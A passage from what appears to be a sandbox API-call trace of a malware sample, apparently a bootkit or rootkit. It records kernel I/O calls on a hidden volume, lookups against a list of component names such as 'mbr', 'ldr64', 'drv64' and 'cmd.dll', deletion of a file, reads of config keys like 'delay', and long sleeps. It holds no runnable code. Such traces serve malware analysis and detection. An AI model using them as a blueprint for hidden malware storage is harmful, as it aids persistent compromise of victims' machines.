dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.842] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.842] KeEnterCriticalRegion () [0119.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.842] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.842] IdePortDispatch () returned 0x103 [0119.842] KeWaitForMutexObject () returned 0x0 [0119.842] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.842] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.842] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.842] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.842] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.842] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.842] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.842] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.842] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.842] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.842] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.842] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.842] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.842] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.842] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.842] KeLeaveCriticalRegion () [0119.842] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.842] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.842] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.842] KeEnterCriticalRegion () [0119.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.843] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.843] IdePortDispatch () returned 0x103 [0119.843] KeWaitForMutexObject () returned 0x0 [0119.843] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.843] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.843] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.843] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.843] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.843] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.843] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.843] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.843] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.843] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.843] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.843] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.843] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.843] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.843] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.843] KeLeaveCriticalRegion () [0119.843] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.843] ReleaseMutex (hMutex=0x100) returned 1 [0119.843] Sleep (dwMilliseconds=0x2bf20) [0119.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aa27bf0, dwHighDateTime=0x1d24fa4)) [0119.851] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.851] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.851] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.851] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.852] KeEnterCriticalRegion () [0119.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.852] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.852] IdePortDispatch () returned 0x103 [0119.852] KeWaitForMutexObject () returned 0x0 [0119.852] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.852] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.852] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.852] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.852] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.852] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca6b0 [0119.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.852] KeLeaveCriticalRegion () [0119.852] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.852] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.852] KeEnterCriticalRegion () [0119.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.852] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.852] KeLeaveCriticalRegion () [0119.852] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.852] KeEnterCriticalRegion () [0119.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.852] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.852] IdePortDispatch () returned 0x103 [0119.852] KeWaitForMutexObject () returned 0x0 [0119.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.853] KeLeaveCriticalRegion () [0119.853] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.853] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.853] KeEnterCriticalRegion () [0119.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.853] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ef000 [0119.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.853] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.853] IdePortDispatch () returned 0x103 [0119.853] KeWaitForMutexObject () returned 0x0 [0119.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.853] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.853] IdePortDispatch () returned 0x103 [0119.853] KeWaitForMutexObject () returned 0x0 [0119.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.854] KeLeaveCriticalRegion () [0119.854] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.854] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.854] KeEnterCriticalRegion () [0119.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.854] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.854] KeLeaveCriticalRegion () [0119.854] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.854] KeEnterCriticalRegion () [0119.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.854] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.854] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.854] KeLeaveCriticalRegion () [0119.854] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.854] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.854] KeEnterCriticalRegion () [0119.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.854] ExFreePoolWithTag (P=0xfffffa8003bca6b0, Tag=0x0) [0119.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.854] KeLeaveCriticalRegion () [0119.854] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.854] ReleaseMutex (hMutex=0xf0) returned 1 [0119.854] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.855] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.855] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.855] KeEnterCriticalRegion () [0119.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.855] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.855] IdePortDispatch () returned 0x103 [0119.855] KeWaitForMutexObject () returned 0x0 [0119.855] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.855] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.855] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.855] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.855] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.855] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc6d0 [0119.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.855] KeLeaveCriticalRegion () [0119.855] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.855] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.855] KeEnterCriticalRegion () [0119.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.855] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.855] KeLeaveCriticalRegion () [0119.855] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.855] KeEnterCriticalRegion () [0119.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.855] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.855] IdePortDispatch () returned 0x103 [0119.856] KeWaitForMutexObject () returned 0x0 [0119.856] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.856] KeLeaveCriticalRegion () [0119.856] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.856] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.856] KeEnterCriticalRegion () [0119.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.856] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a00000 [0119.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.856] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.856] IdePortDispatch () returned 0x103 [0119.856] KeWaitForMutexObject () returned 0x0 [0119.856] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.856] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.856] IdePortDispatch () returned 0x103 [0119.856] KeWaitForMutexObject () returned 0x0 [0119.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.857] KeLeaveCriticalRegion () [0119.857] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.857] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.857] KeEnterCriticalRegion () [0119.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.857] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.857] KeLeaveCriticalRegion () [0119.857] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.857] KeEnterCriticalRegion () [0119.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.857] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.857] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.857] KeLeaveCriticalRegion () [0119.857] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.857] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.857] KeEnterCriticalRegion () [0119.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.857] ExFreePoolWithTag (P=0xfffffa8003bcc6d0, Tag=0x0) [0119.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.857] KeLeaveCriticalRegion () [0119.857] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.858] ReleaseMutex (hMutex=0xf0) returned 1 [0119.858] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.858] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.858] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.858] KeEnterCriticalRegion () [0119.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.858] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.858] IdePortDispatch () returned 0x103 [0119.858] KeWaitForMutexObject () returned 0x0 [0119.858] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.858] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.858] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.858] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.858] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.858] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb820 [0119.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.858] KeLeaveCriticalRegion () [0119.858] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.858] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.858] KeEnterCriticalRegion () [0119.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.858] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.858] KeLeaveCriticalRegion () [0119.858] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.858] KeEnterCriticalRegion () [0119.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.859] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.859] IdePortDispatch () returned 0x103 [0119.859] KeWaitForMutexObject () returned 0x0 [0119.859] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.859] KeLeaveCriticalRegion () [0119.859] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.859] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.859] KeEnterCriticalRegion () [0119.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.859] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a01000 [0119.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.859] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.859] IdePortDispatch () returned 0x103 [0119.859] KeWaitForMutexObject () returned 0x0 [0119.859] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 